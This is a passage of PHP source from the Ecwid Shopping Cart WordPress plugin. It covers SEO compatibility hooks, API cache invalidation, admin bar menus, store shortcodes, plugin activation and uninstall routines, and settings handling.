SEO Pack // Canonical ecwid_override_option('psp_canonical', false); // Title ecwid_override_option('aiosp_rewrite_titles', false); add_action('amt_basic_metadata_head', 'ecwid_amt_remove_description'); return $title; } function ecwid_amt_remove_description($params) { foreach ($params as $key => $value) { if (preg_match('/meta name="description"/', $value)) { unset ($params[$key]); } } return $params; } function ecwid_seo_compatibility_restore() { if (!array_key_exists('_escaped_fragment_', $_GET) || !Ecwid_Store_Page::is_store_page()) { return; } ecwid_override_option('psp_canonical'); ecwid_override_option('aiosp_rewrite_titles'); } function ecwid_check_api_cache() { EcwidPlatform::cache_log_record( 'init', array() ); $last_cache = get_option('ecwid_last_api_cache_check'); if (time() - $last_cache > HOUR_IN_SECONDS ) { ecwid_invalidate_cache(); } } function ecwid_enqueue_cache_control() { wp_enqueue_script('ecwid-cache-control-js', ECWID_PLUGIN_URL . 'js/cache-control.js', array(), get_option('ecwid_plugin_version')); wp_localize_script( 'ecwid-cache-control-js', 'ecwidCacheControlParams', array( 'ajax_url' => admin_url( 'admin-ajax.php' ) )); } function ecwid_admin_check_api_cache() { $is_ajax_check_api_cache = isset( $_GET['action'] ) && $_GET['action'] == 'check_api_cache'; $is_doing_ajax = defined( 'DOING_AJAX' ) && DOING_AJAX; $is_get_request = @$_SERVER['REQUEST_METHOD'] != 'GET'; if ( !$is_ajax_check_api_cache && ( $is_doing_ajax || $is_get_request ) ) return; EcwidPlatform::cache_log_record( 'admin_init', array() ); $last_cache = get_option( 'ecwid_last_api_cache_check' ); if( Ecwid_Api_V3::get_api_status() == Ecwid_Api_V3::API_STATUS_OK ) $check_time_period = 5 * MINUTE_IN_SECONDS; else $check_time_period = MINUTE_IN_SECONDS; if ( time() - $last_cache > $check_time_period ) { Ecwid_Api_V3::reset_api_status(); } ecwid_regular_cache_check(); } function ecwid_invalidate_cache( $full_reset = false) { if ( $full_reset ) { ecwid_full_cache_reset(); return; } ecwid_regular_cache_check(); } function ecwid_regular_cache_check() { static $already_checked = false; if ( Ecwid_Api_V3::is_available() && !$already_checked ) { $already_checked = true; $api = new Ecwid_Api_V3(); $stats = $api->get_store_update_stats(); EcwidPlatform::cache_log_record('reg cache check', array( 'stats' => $stats ) ); if ( $stats ) { EcwidPlatform::invalidate_products_cache_from( strtotime( $stats->productsUpdated ) ); EcwidPlatform::invalidate_categories_cache_from( strtotime( $stats->categoriesUpdated ) ); EcwidPlatform::invalidate_profile_cache_from( strtotime( $stats->profileUpdated ) ); update_option( 'ecwid_last_api_cache_check', time() ); } } } function ecwid_full_cache_reset() { Ecwid_Api_V3::reset_api_status(); EcwidPlatform::invalidate_categories_cache_from( time() ); EcwidPlatform::invalidate_products_cache_from( time() ); EcwidPlatform::invalidate_profile_cache_from( time() ); EcwidPlatform::cache_reset( Ecwid_Api_V3::PROFILE_CACHE_NAME ); EcwidPlatform::cache_reset( 'all_categories' ); EcwidPlatform::cache_reset( 'nav_categories_posts' ); $p = new Ecwid_Products(); $p->reset_dates(); update_option( 'ecwid_last_api_cache_check', time() ); } function add_ecwid_admin_bar_node() { global $wp_admin_bar; if ( !is_super_admin() || !is_admin_bar_showing() || Ecwid_Config::is_wl() ) return; $theme = ecwid_get_theme_name(); $store_url = Ecwid_Store_Page::get_store_url(); $brand = Ecwid_Config::get_brand(); if (!is_admin()) { $subject = sprintf( __('%s plugin doesn\'t work well with my "%s" theme', 'ecwid-shopping-cart'), Ecwid_Config::get_brand(), $theme ); $body = <<<TEXT Hey %s, My store looks bad with my theme on Wordpress. The theme title is %s. The store URL is %s Can you have a look? Thanks. TEXT; } else { $subject = __('I have a problem with my %s store', 'ecwid-shopping-cart'); $body = <<<TEXT Hey %s, I have a problem with my store. [Please provide details here] The theme title is %s. The store URL is % Can you have a look? Thanks. TEXT; } $body = __($body, 'ecwid-shopping-cart'); $body = sprintf($body, Ecwid_Config::get_brand(), $theme, $store_url); $wp_admin_bar->add_menu( array( 'id' => 'ecwid-main', 'title' => '<span class="ab-icon ecwid-top-menu-item"></span>', 'href' => Ecwid_Admin::get_dashboard_url(), )); $wp_admin_bar->add_menu(array( "id" => "ecwid-go-to-page", "title" => __("Visit storefront", 'ecwid-shopping-cart'), "parent" => "ecwid-main", 'href' => Ecwid_Store_Page::get_store_url() ) ); $wp_admin_bar->add_menu(array( "id" => "ecwid-control-panel", "title" => __("Manage my store", 'ecwid-shopping-cart'), "parent" => "ecwid-main", 'href' => Ecwid_Admin::get_dashboard_url() ) ); $wp_admin_bar->add_menu(array( "id" => "ecwid-faq", "title" => __("Read FAQ", 'ecwid-shopping-cart'), "parent" => "ecwid-main", 'href' => __('https://support.ecwid.com/hc/en-us/articles/360000635709-Customizing-design-of-your-Ecwid-store-on-a-Wordpress-site', 'ecwid-shopping-cart'), 'meta' => array( 'target' => '_blank' ) ) ); $wp_admin_bar->add_menu(array( 'id' => 'ecwid-report-problem', 'title' => __( 'Report a problem with the store', 'ecwid-shopping-cart' ), 'parent' => 'ecwid-main', 'href' => 'mailto:wordpress@ecwid.com?subject=' . rawurlencode($subject) . '&body=' . rawurlencode($body), 'meta' => array( 'target' => '_blank' ) )); } function ecwid_content_has_productbrowser( $content ) { $result = has_shortcode( $content, 'ecwid_productbrowser' ); if ( class_exists( 'Ecwid_Gutenberg' ) && Ecwid_Gutenberg::content_has_productbrowser( $content ) !== false ) { return true; } if ($result) { return $result; } foreach ( Ecwid_Shortcode_Base::get_store_shortcode_names() as $shortcode_name ) { if ( has_shortcode($content, $shortcode_name ) ) { $shortcodes = ecwid_find_shortcodes( $content, $shortcode_name ); if ( $shortcodes ) foreach ( $shortcodes as $shortcode ) { $attributes = shortcode_parse_atts( $shortcode[3] ); if ( isset( $attributes['widgets'] ) ) { $widgets = preg_split( '![^0-9^a-z^A-Z^-^_]!', $attributes['widgets'] ); if ( is_array( $widgets ) && in_array('productbrowser', $widgets ) ) { $result = true; } } } } } return $result; } function ecwid_get_current_user_locale() { if (function_exists('get_user_locale')) { $lang = get_user_locale(); } else { $lang = get_locale(); } return $lang; } function ecwid_product_browser_url_in_head() { echo ecwid_get_product_browser_url_script(); } function ecwid_is_applicable_escaped_fragment() { if (!Ecwid_Api_V3::is_available() ) { return false; } if (!isset($_GET['_escaped_fragment_'])) return false; $params = ecwid_parse_escaped_fragment($_GET['_escaped_fragment_']); if (!$params) return false; if (!in_array($params['mode'], array('category', 'product')) || !isset($params['id'])) return false; return true; } function ecwid_trim_description($description) { return Ecwid_HTML_Meta::process_raw_description( $description, ECWID_TRIMMED_DESCRIPTION_LENGTH ); } add_action( 'wp_ajax_ecwid_deactivate_feedback', 'ecwid_ajax_deactivate_feedback' ); function ecwid_ajax_deactivate_feedback() { require_once ECWID_PLUGIN_DIR . 'includes/class-ecwid-popup-deactivate.php'; $popup = new Ecwid_Popup_Deactivate(); $popup->ajax_deactivate_feedback(); } function ecwid_ajax_hide_message($params) { if (!current_user_can('manage_options')) { return; } if (Ecwid_Message_Manager::disable_message($_GET['message'])) { wp_send_json(array('status' => 'success')); } } function ecwid_hide_vote_message() { update_option('ecwid_show_vote_message', false); } function ecwid_get_title_separator() { $sep = apply_filters('document_title_separator', '|'); if (!empty($sep)) { return $sep; } return apply_filters('ecwid_title_separator', '|'); } function ecwid_seo_title( $content, $sep = '', $seplocation = 'right' ) { $title = _ecwid_get_seo_title(); if (!empty($title)) { if ( empty( $sep ) ) { $sep = ecwid_get_title_separator(); } if ( $seplocation == 'right' ) return "$title $sep $content"; else return "$content $sep $title"; } return $content; } function ecwid_seo_title_parts($parts) { $title = _ecwid_get_seo_title(); if ($title) { array_unshift($parts, $title); } return $parts; } function _ecwid_get_seo_title() { $ecwid_seo_title = ''; if ( ecwid_is_applicable_escaped_fragment() || Ecwid_Seo_Links::is_product_browser_url() ) { $ecwid_seo_title = Ecwid_Static_Page::get_title(); } return $ecwid_seo_title; } add_filter('oembed_endpoint_url', 'ecwid_oembed_url', 10, 3); function ecwid_oembed_url( $url, $permalink, $format ) { if (! Ecwid_Seo_Links::is_product_browser_url() ) { return $url; } $params = Ecwid_Seo_Links::maybe_extract_html_catalog_params(); if ( $params['mode'] == 'product' ){ $product = Ecwid_Product::get_by_id( $params['id'] ); $permalink = $product->link; } else if ( $params['mode'] == 'category' ) { $category = Ecwid_Category::get_by_id( $params['id'] ); $permalink = $category->link; } $url = add_query_arg( array( 'url' => urlencode( $permalink ), 'format' => ( 'json' !== $format ) ? $format : false, ), $url ); return $url; } function ecwid_add_credits($powered_by) { if (!ecwid_is_paid_account()) { $new_powered_by = '<li>'; $new_powered_by .= sprintf( __('<a %s>Online store powered by %s</a>', 'ecwid-shopping-cart'), 'target="_blank" href="//www.ecwid.com?source=wporg-metalink"', Ecwid_Config::get_brand() ); $new_powered_by .= '</li>'; $powered_by .= $new_powered_by; } return $powered_by; } function ecwid_wrap_shortcode_content($content, $name, $attrs) { $version = get_option('ecwid_plugin_version'); $shortcode_content = ecwid_get_scriptjs_code(@$attrs['lang']); if ($name == 'product2') { $shortcode_content .= $content; } else { $shortcode_content .= "<div class=\"ecwid-shopping-cart-$name\">$content</div>"; } $shortcode_content = "<!-- Ecwid shopping cart plugin v $version -->" . $shortcode_content . "<!-- END Ecwid Shopping Cart v $version -->"; return apply_filters('ecwid_shortcode_content', $shortcode_content); } function ecwid_get_scriptjs_code( $force_lang = null ) { static $code = ''; $store_id = get_ecwid_store_id(); $params = ecwid_get_scriptjs_params(); $code = '<script data-cfasync="false" type="text/javascript" src="https://' . Ecwid_Config::get_scriptjs_domain() . '/script.js?' . $store_id . $params . '"></script>'; $code .= ecwid_sso(); $code .= '<script type="text/javascript">if (jQuery && jQuery.mobile) { jQuery.mobile.hashListeningEnabled = false; jQuery.mobile.pushStateEnabled=false; }</script>'; return apply_filters( 'ecwid_scriptjs_code', $code ); } add_filter( 'ecwid_lang', 'ecwid_get_default_language', 1, 1 ); function ecwid_get_default_language( $lang ) { $locale = get_locale(); if ( $locale ) { $locales = explode( '_', $locale ); return $locales[0]; } return $lang; } function ecwid_get_scriptjs_params( $force_lang = null ) { if( is_null( $force_lang ) ) { $force_lang = apply_filters( 'ecwid_lang', $force_lang ); } $store_id = get_ecwid_store_id(); $force_lang_str = !empty( $force_lang ) ? "&lang=$force_lang" : ''; $params = '&data_platform=wporg' . $force_lang_str; if ( Ecwid_Static_Page::is_enabled_static_home_page() ) { $params .= '&data_static_home=1'; } if ( class_exists( 'Ecwid_Gutenberg') ) { $all_blocks = Ecwid_Gutenberg::get_block_names(); $page_blocks = Ecwid_Gutenberg::get_blocks_on_page(); $mask = ""; foreach ( $all_blocks as $name ) { if ( array_key_exists( $name, $page_blocks ) ) { $mask .= '1'; } else { $mask .= '0'; } } $params .= '&data_g=' . $mask; } return $params; } function ecwid_script_shortcode($params) { $attributes = shortcode_atts( array( 'lang' => null ), $params ); $content = ""; if (!is_null($attributes['lang'])) { $content = ecwid_get_scriptjs_code($attributes['lang']); } return ecwid_wrap_shortcode_content($content, 'script', $params); } function ecwid_minicart_shortcode($attributes) { $shortcode = new Ecwid_Shortcode_Minicart($attributes); return $shortcode->render(); } function ecwid_get_search_js_code() { return 'xSearch("style=");'; } function _ecwid_get_single_product_widget_parts_v1($attributes) { return array( 'display_items' => array( 'picture' => '<div itemprop="picture"></div>', 'title' => '<div class="ecwid-title" itemprop="title"></div>', 'price' => '<div itemtype="http://schema.org/Offer" itemscope itemprop="offers">' . '<div class="ecwid-productBrowser-price ecwid-price" itemprop="price"></div>' . '</div>', 'options' => '<div itemprop="options"></div>', 'qty' => '<div itemprop="qty"></div>', 'addtobag' => '<div itemprop="addtobag"></div>' ), 'opening_div' => sprintf('<div class="ecwid ecwid-SingleProduct ecwid-Product ecwid-Product-%d" ' . 'itemscope itemtype="http://schema.org/Product" ' . 'data-single-product-id="%d">', $attributes['id'], $attributes['id']), 'widget_call' => '<script data-cfasync="false" type="text/javascript">xSingleProduct()</script>' ); } function _ecwid_get_single_product_widget_parts_v2($attributes) { $price_location_attributes = ' data-spw-price-location="button"'; $bordered_class = ' ecwid-SingleProduct-v2-bordered'; if ($attributes['show_border'] == 0) { $bordered_class = ''; } if ($attributes['show_price_on_button'] == 0) { $price_location_attributes = ''; } return array( 'display_items' => array( 'picture' => '<div itemprop="picture"></div>', 'title' => '<div class="ecwid-title" itemprop="title"></div>', 'price' => '<div itemtype="http://schema.org/Offer" itemscope itemprop="offers">' . '<div class="ecwid-productBrowser-price ecwid-price" itemprop="price"' . $price_location_attributes . '>' . '<div itemprop="priceCurrency"></div>' . '</div>' . '</div>', 'options' => '<div customprop="options"></div>', 'qty' => '<div customprop="qty"></div>', 'addtobag' => '<div customprop="addtobag"></div>' ), 'opening_div' => sprintf('<div class="ecwid ecwid-SingleProduct-v2' . $bordered_class . ' ecwid-Product ecwid-Product-%d"' . 'itemscope itemtype="http://schema.org/Product" data-single-product-id="%d">', $attributes['id'], $attributes['id']), 'widget_call' => '<script data-cfasync="false" type="text/javascript">xProduct()</script>' ); } function ecwid_shortcode($attributes) { $custom_renderer = apply_filters( 'ecwid_shortcode_custom_renderer', null ); if ( $custom_renderer ) { $result = call_user_func( $custom_renderer, array( 'attributes' => $attributes ) ); if ( $result ) { return $result; } } $defaults = ecwid_get_default_pb_size(); $attributes = shortcode_atts( array( 'widgets' => 'productbrowser', 'categories_per_row' => '3', 'category_view' => 'grid', 'search_view' => 'grid', 'grid' => $defaults['grid_rows'] . ',' . $defaults['grid_columns'], 'list' => $defaults['list_rows'], 'table' => $defaults['table_rows'], 'minicart_layout' => 'MiniAttachToProductBrowser', 'default_category_id' => 0, 'default_product_id' => 0, 'lang' => '', 'no_html_catalog' => 0 ) , $attributes ); $allowed_widgets = array('productbrowser', 'search', 'categories', 'minicart'); $widgets = preg_split('![^0-9^a-z^A-Z^-^_]!', $attributes['widgets']); foreach ($widgets as $key => $widget) { if (!in_array($widget, $allowed_widgets)) { unset($widgets[$key]); } } if (empty($widgets)) { $widgets = array('productbrowser'); } $attributes['layout'] = $attributes['minicart_layout']; $attributes['is_ecwid_shortcode'] = true; $result = ''; $widgets_order = array('minicart', 'search', 'categories', 'productbrowser'); foreach ($widgets_order as $widget) { if (in_array($widget, $widgets)) { if ( class_exists( 'Ecwid_Shortcode_' . $widget ) ) { $class = 'Ecwid_Shortcode_' . $widget; $shortcode = new $class($attributes); $result .= $shortcode->render(); } else { $result .= call_user_func_array( 'ecwid_' . $widget . '_shortcode', array( $attributes ) ); } } } update_option('ecwid_store_shortcode_used', time()); return $result; } function ecwid_parse_escaped_fragment($escaped_fragment) { static $parsed = array(); if (empty($parsed[$escaped_fragment])) { $fragment = urldecode( $escaped_fragment ); $return = array(); if ( preg_match( '/^(\/~\/)([a-z]+)\/(.*)$/', $fragment, $matches ) ) { parse_str( $matches[3], $return ); $return['mode'] = $matches[2]; } elseif ( preg_match( '!.*/(p|c)/([0-9]*)!', $fragment, $matches ) ) { if ( count( $matches ) == 3 && in_array( $matches[1], array( 'p', 'c' ) ) ) { $return = array( 'mode' => 'p' == $matches[1] ? 'product' : 'category', 'id' => $matches[2] ); } } $parsed[$escaped_fragment] = $return; } return $parsed[$escaped_fragment]; } function ecwid_ajax_get_product_info() { $id = $_GET['id']; $product = Ecwid_Product::get_by_id($id); echo json_encode($product); exit(); } function ecwid_store_activate() { Ecwid_Config::load_from_ini(); $my_post = array(); $defaults = ecwid_get_default_pb_size(); $shortcode = Ecwid_Shortcode_Base::get_current_store_shortcode_name(); $content = <<<EOT [$shortcode widgets="productbrowser" default_category_id="0"] EOT; $content = <<<EOT <!-- wp:ecwid/store-block --> $content <!-- /wp:ecwid/store-block --> EOT; add_option("ecwid_store_page_id", '', '', 'yes'); add_option("ecwid_store_id", ecwid_get_demo_store_id(), '', 'yes'); add_option("ecwid_enable_minicart", 'Y', '', 'yes'); add_option("ecwid_show_categories", '', '', 'yes'); add_option("ecwid_show_search_box", '', '', 'yes'); add_option("ecwid_pb_categoriesperrow", '3', '', 'yes'); add_option("ecwid_pb_productspercolumn_grid", $defaults['grid_rows'], '', 'yes'); add_option("ecwid_pb_productsperrow_grid", $defaults['grid_columns'], '', 'yes'); add_option("ecwid_pb_productsperpage_list", $defaults['list_rows'], '', 'yes'); add_option("ecwid_pb_productsperpage_table", $defaults['table_rows'], '', 'yes'); add_option("ecwid_pb_defaultview", 'grid', '', 'yes'); add_option("ecwid_pb_searchview", 'list', '', 'yes'); add_option("ecwid_mobile_catalog_link", '', '', 'yes'); add_option("ecwid_default_category_id", '', '', 'yes'); add_option('ecwid_is_api_enabled', 'on', '', 'yes'); add_option('ecwid_api_check_time', 0, '', 'yes'); add_option('ecwid_show_vote_message', true); add_option("ecwid_sso_secret_key", '', '', 'yes'); add_option("ecwid_installation_date", time()); /* All new options should go to check_version thing */ require_once ECWID_PLUGIN_DIR . 'includes/class-ecwid-nav-menus.php'; $id = get_option("ecwid_store_page_id"); $_tmp_page = null; if (!empty($id) and ($id > 0)) { $_tmp_page = get_post($id); } if ( is_null( $_tmp_page ) && get_option( Ecwid_Store_Page::OPTION_LAST_STORE_PAGE_ID ) ) { $id = get_option( Ecwid_Store_Page::OPTION_LAST_STORE_PAGE_ID ); if ( Ecwid_Store_Page::post_content_has_productbrowser($id) && get_post_status($id) == 'draft') { $_tmp_page = get_post($id); } } if (is_null($_tmp_page)) { $id = get_option('ecwid_store_page_id_auto'); if (!empty($id) and ($id > 0)) { $_tmp_page = get_post($id); } } if ($_tmp_page !== null) { $my_post = array(); $my_post['ID'] = $id; $my_post['post_status'] = 'publish'; wp_update_post( $my_post ); if ($id == get_option('ecwid_store_page_id_auto')) { update_option('ecwid_store_page_id', $id); } } else { ecwid_load_textdomain(); $my_post['post_title'] = __('Store', 'ecwid-shopping-cart'); $my_post['post_content'] = $content; $my_post['post_status'] = 'publish'; $my_post['post_author'] = 1; $my_post['post_type'] = 'page'; $my_post['comment_status'] = 'closed'; $id = wp_insert_post( $my_post ); update_option('ecwid_store_page_id', $id); Ecwid_Nav_Menus::replace_auto_added_menu(); if (ecwid_get_theme_identification() == 'responsive') { update_post_meta($id, '_wp_page_template', 'full-width-page.php'); update_option("ecwid_show_search_box", 'Y'); } } Ecwid_Nav_Menus::add_menu_on_activate(); $p = new Ecwid_Products(); $p->enable_all_products(); Ecwid_Message_Manager::enable_message('on_activate'); Ecwid_Config::load_from_ini(); } add_action( 'activated_plugin', 'ecwid_plugin_activation_redirect' ); function ecwid_plugin_activation_redirect( $plugin ) { $is_newbie = ecwid_is_demo_store(); if( $is_newbie && $plugin == plugin_basename( __FILE__ ) ) { exit( wp_redirect( Ecwid_Admin::get_dashboard_url() ) ); } } add_action('in_admin_header', 'ecwid_disable_other_notices'); function ecwid_disable_other_notices() { $is_admin_subpage = strpos(get_current_screen()->base, Ecwid_Admin::ADMIN_SLUG) !== false; if (!$is_admin_subpage) return; global $wp_filter; if (!$wp_filter || !isset($wp_filter['admin_notices']) || !class_exists('WP_Hook') || ! ( $wp_filter['admin_notices'] instanceof WP_Hook) ) { return; } foreach ($wp_filter['admin_notices']->callbacks as $priority => $collection) { foreach ($collection as $name => $item) { if ($name != 'ecwid_show_admin_messages') { remove_action('admin_notices', $item['function'], $priority); } } } } function ecwid_show_admin_messages() { if (is_admin()) { global $wp_filter; if ( $wp_filter && isset($wp_filter['admin_notices']) && class_exists('WP_Hook') ){ foreach ($wp_filter['admin_notices']->callbacks as $priority => $collection) { foreach ($collection as $name => $item) { if( is_array($item) && is_array($item['function']) && is_object($item['function'][0]) && get_class($item['function'][0]) == 'Storefront_NUX_Admin' ){ remove_action('admin_notices', $item['function'], $priority); } } } } Ecwid_Message_Manager::show_messages(); } } function ecwid_show_admin_message($message) { $class = version_compare(get_bloginfo('version'), '3.0') < 0 ? "updated fade" : "update-nag"; echo sprintf('<div class="%s" style="margin-top: 5px">%s</div>', $class, $message); } function ecwid_store_deactivate() { $ecwid_page_id = get_option("ecwid_store_page_id"); $_tmp_page = null; if (!empty($ecwid_page_id) and ($ecwid_page_id > 0)) { $_tmp_page = get_page($ecwid_page_id); if ($_tmp_page !== null) { $my_post = array(); $my_post['ID'] = $ecwid_page_id; $my_post['post_status'] = 'draft'; update_option(Ecwid_Store_Page::OPTION_LAST_STORE_PAGE_ID, $ecwid_page_id); wp_update_post( $my_post ); } else { update_option('ecwid_store_page_id', ''); } } $p = new Ecwid_Products(); $p->disable_all_products(); } function ecwid_uninstall() { delete_option("ecwid_store_page_id_auto"); delete_option("ecwid_store_id"); delete_option("ecwid_enable_minicart"); delete_option("ecwid_show_categories"); delete_option("ecwid_show_search_box"); delete_option("ecwid_pb_categoriesperrow"); delete_option("ecwid_pb_productspercolumn_grid"); delete_option("ecwid_pb_productsperrow_grid"); delete_option("ecwid_pb_productsperpage_list"); delete_option("ecwid_pb_productsperpage_table"); delete_option("ecwid_pb_defaultview"); delete_option("ecwid_pb_searchview"); delete_option("ecwid_mobile_catalog_link"); delete_option("ecwid_default_category_id"); delete_option('ecwid_is_api_enabled'); delete_option('ecwid_api_check_time'); delete_option('ecwid_show_vote_message'); delete_option("ecwid_sso_secret_key"); delete_option("ecwid_installation_date"); delete_option('ecwid_hide_appearance_menu'); delete_option("ecwid_plugin_version"); delete_option("ecwid_use_chameleon"); delete_option(Ecwid_Api_V3::TOKEN_OPTION_NAME); } function ecwid_abs_intval($value) { if (!is_null($value)) return abs(intval($value)); else return null; } function ecwid_get_update_params_options() { $options = array( 'ecwid_store_id' => array( 'type' => 'string' ), 'ecwid_store_page_id' => array( 'type' => 'string' ), 'ecwid_ajax_defer_rendering' => array( 'values' => array( 'on', 'off', 'auto' ) ), 'ecwid_disable_dashboard' => array( 'values' => array( 'on', 'off', '' ) ), 'ecwid_disable_pb_url' => array( 'type' => 'bool' ), Ecwid_Nav_Menus::OPTION_USE_JS_API_FOR_CATS_MENU => array( 'values' => array( Ecwid_Nav_Menus::OPTVAL_USE_JS_API_FOR_CATS_MENU_TRUE, Ecwid_Nav_Menus::OPTVAL_USE_JS_API_FOR_CATS_MENU_FALSE, Ecwid_Nav_Menus::OPTVAL_USE_JS_API_FOR_CATS_MENU_AUTO ) ), Ecwid_Widget_Floating_Shopping_Cart::OPTION_DISPLAY_POSITION => array( 'values' => array( '', 'topright', 'bottomright' ) ), Ecwid_Widget_Floating_Shopping_Cart::OPTION_MOVE_INTO_BODY => array( 'type' => 'bool', ), 'ecwid_historyjs_html4mode' => array( 'type' => 'bool' ), 'ecwid_plugin_migration_since_version' => array( 'type' => 'string' ), 'ecwid_seo_links_enabled' => array( 'type' => 'bool' ), Ecwid_Admin::OPTION_ENABLE_AUTO_MENUS => array( 'values' => array( Ecwid_Admin::OPTION_ENABLE_AUTO_MENUS_ON, Ecwid_Admin::OPTION_ENABLE_AUTO_MENUS_OFF, Ecwid_Admin::OPTION_ENABLE_AUTO_MENUS_AUTO ) ), 'ecwid_print_html_catalog' => array( 'type' => 'bool' ), 'ecwid_hide_prefetch' => array( 'values' => array( 'on', 'off', 'auto' ) ), Ecwid_Static_Page::OPTION_IS_ENABLED => array( 'values' => array( Ecwid_Static_Page::OPTION_VALUE_AUTO, Ecwid_Static_Page::OPTION_VALUE_ENABLED, Ecwid_Static_Page::OPTION_VALUE_DISABLED ) ), 'ecwid_api_status' => array( 'type' => 'string' ), 'ecwid_hide_canonical' => array( 'values' => array( '', 'hide' ) ), Ecwid_Store_Page::OPTION_REPLACE_TITLE => array( 'values' => array( '', 'Y' ) ), ); return $options; } function ecwid_get_update_params_action() { return 'ecwid-update-params'; } function ecwid_params_do_page() { include ECWID_PLUGIN_DIR . 'templates/admin-params.php'; } add_action('admin_post_' . ecwid_get_update_params_action(), 'ecwid_update_plugin_params'); function ecwid_update_plugin_params() { if ( !current_user_can('administrator') ) { header('403 Access Denied'); die(); } if ( !wp_verify_nonce(@$_POST['nonce'], ecwid_get_update_params_action() ) ) { header('403 Access Denied'); die(); } $options = ecwid_get_update_params_options(); $options4update = array(); foreach ( $options as $key => $option ) { if ( isset($option['type']) && $option['type'] == 'html' ) { $options4update[$key] = html_entity_decode( @$_POST['option'][$key] ); } else { $options4update[$key] = @$_POST['option'][$key]; } } foreach ($options4update as $name => $value) { update_option($name, $value); } wp_redirect('admin.php?page=ec-params'); } function ecwid_get_clear_all_cache_action() { return 'ec-clear-all-cache'; } add_action('plugins_loaded', 'ecwid_clear_all_cache'); function ecwid_clear_all_cache() { if ( array_key_exists( ecwid_get_clear_all_cache_action(), $_GET ) ) { ecwid_full_cache_reset(); if ( array_key_exists( 'redirect_back', $_GET ) ) { wp_redirect ( 'admin.php?page=ec-params' ); } } } function ecwid_sync_do_page() { require_once ECWID_PLUGIN_DIR . 'includes/class-ecwid-products.php'; $prods = new Ecwid_Products(); $estimation = $prods->estimate_sync(); require_once ECWID_PLUGIN_DIR . 'templates/sync.php'; } function ecwid_reset_categories_cache() { if (!current_user_can('manage_options')) { return; } EcwidPlatform::cache_reset( 'nav_categories_posts' ); EcwidPlatform::cache_reset( 'all_categories' ); EcwidPlatform::invalidate_categories_cache_from(); } add_action( 'tool_box', 'ecwid_add_toolbox' ); function ecwid_add_toolbox() { require ECWID_PLUGIN_DIR . 'templates/wp-toolbox.tpl.php'; } function ecwid_register_admin_styles($hook_suffix) { wp_enqueue_style('ecwid-admin-css', ECWID_PLUGIN_URL . 'css/admin.css', array(), get_option('ecwid_plugin_version')); wp_enqueue_style('ecwid-fonts-css', ECWID_PLUGIN_URL . 'css/fonts.css', array(), get_option('ecwid_plugin_version')); wp_enqueue_style('ecwid-opensans', 'https://fonts.googleapis.com/css?family=Open+Sans:400,600,700,300', array(), get_option('ecwid_plugin_version')); if (isset($_GET['page']) && strpos($_GET['page'], 'ec-store') === 0) { // Can't really remember why it checks against the raw version, not the sanitized one; consider refactoring if ( ecwid_is_demo_store( get_option('ecwid_store_id' ) ) || !get_option( 'ecwid_store_id' ) ) { // Open dashboard for the first time, ecwid store id is set to demo => need landing styles/scripts wp_enqueue_script('ecwid-landing-js', ECWID_PLUGIN_URL . 'js/landing.js', array(), get_option('ecwid_plugin_version')); wp_localize_script('ecwid-landing-js', 'ecwidParams', array( 'registerLink' => ecwid_get_register_link(), 'isWL' => Ecwid_Config::is_wl() ) ); wp_enqueue_style('ecwid-landing-css', ECWID_PLUGIN_URL . 'css/landing.css', array(), get_option('ecwid_plugin_version'), 'all'); } else { // We already connected and disconnected the store, no need for fancy landing wp_enqueue_script('ecwid-connect-js', ECWID_PLUGIN_URL . 'js/dashboard.js', array(), get_option('ecwid_plugin_version')); } } } function ecwid_register_settings_styles($hook_suffix) { if ( ($hook_suffix != 'post.php' && $hook_suffix != 'post-new.php') && strpos( $hook_suffix, Ecwid_Admin::ADMIN_SLUG ) === false) return; wp_enqueue_style('ecwid-settings-css', ECWID_PLUGIN_URL . 'css/settings.css', array(), get_option('ecwid_plugin_version'), 'all'); if (version_compare(get_bloginfo('version'), '3.8-beta') > 0) { wp_enqueue_style('ecwid-settings38-css', ECWID_PLUGIN_URL . 'css/settings.3.8.css', array('ecwid-settings-css'), '', 'all'); } } function ecwid_plugin_actions($links) { $settings_link = "<a href='" . Ecwid_Admin::get_dashboard_url() . "'>" . ( ecwid_is_demo_store() ? __('Setup', 'ecwid-shopping-cart') : __('Settings') ) . "</a>"; array_unshift( $links, $settings_link ); return $links; } function ecwid_settings_api_init() { if ( isset( $_POST['settings_section'] ) ) { switch ( $_POST['settings_section'] ) { case 'general': register_setting( 'ecwid_options_page', 'ecwid_store_id', 'ecwid_abs_intval' ); if ( isset( $_POST['ecwid_store_id'] ) && intval( $_POST['ecwid_store_id'] ) == 0 ) { Ecwid_Message_Manager::reset_hidden_messages(); } break; case 'advanced': register_setting( 'ecwid_options_page', 'ecwid_default_category_id', 'ecwid_abs_intval' ); register_setting( 'ecwid_options_page', 'ecwid_sso_secret_key' ); register_setting( 'ecwid_options_page', 'ecwid_use_chameleon' ); register_setting( 'ecwid_options_page', 'ecwid_is_sso_enabled' ); break; } if ($_POST['settings_section'] == 'advanced' && isset($_POST[Ecwid_Products::OPTION_ENABLED]) && !Ecwid_Products::is_enabled()) { Ecwid_Products::enable(); } else if ($_POST['settings_section'] == 'advanced' && !isset($_POST[Ecwid_Products::OPTION_ENABLED]) && Ecwid_Products::is_enabled()) { Ecwid_Products::disable(); } if (Ecwid_Seo_Links::should_display_option()) { if ($_POST['settings_section'] == 'advanced' && isset($_POST[Ecwid_Seo_Links::OPTION_ENABLED]) && !Ecwid_Seo_Links::is_enabled()) { Ecwid_Seo_Links::enable(); } else if ($_POST['settings_section'] == 'advanced' && !isset($_POST[Ecwid_Seo_Links::OPTION_ENABLED]) && Ecwid_Seo_Links::is_enabled()) { Ecwid_Seo_Links::disable(); } } if ($_POST['settings_section'] == 'advanced' && !@$_POST['ecwid_is_sso_enabled']) { update_option('ecwid_sso_secret_key', ''); } if ($_POST['settings_section'] == 'advanced' && isset( $_POST[Ecwid_Store_Page::OPTION_MAIN_STORE_PAGE_ID] ) && in_array( $_POST[Ecwid_Store_Page::OPTION_MAIN_STORE_PAGE_ID], Ecwid_Store_Page::get_store_pages_array() ) ) { Ecwid_Store_Page::update_main_store_page_id( $_POST[Ecwid_Store_Page::OPTION_MAIN_STORE_PAGE_ID] ); } if ($_POST['settings_section'] == 'advanced' && isset($_POST[Ecwid_Static_Page::OPTION_IS_ENABLED])) { update_option( Ecwid_Static_Page::OPTION_IS_ENABLED, $_POST[Ecwid_Static_Page::OPTION_IS_ENABLED] ); } } if ( isset( $_POST['ecwid_store_id'] ) ) { ecwid_update_store_id( $_POST['ecwid_store_id'] ); update_option('ecwid_is_api_enabled', 'off'); update_option('ecwid_api_check_time', 0); update_option('ecwid_last_oauth_fail_time', 0); update_option( 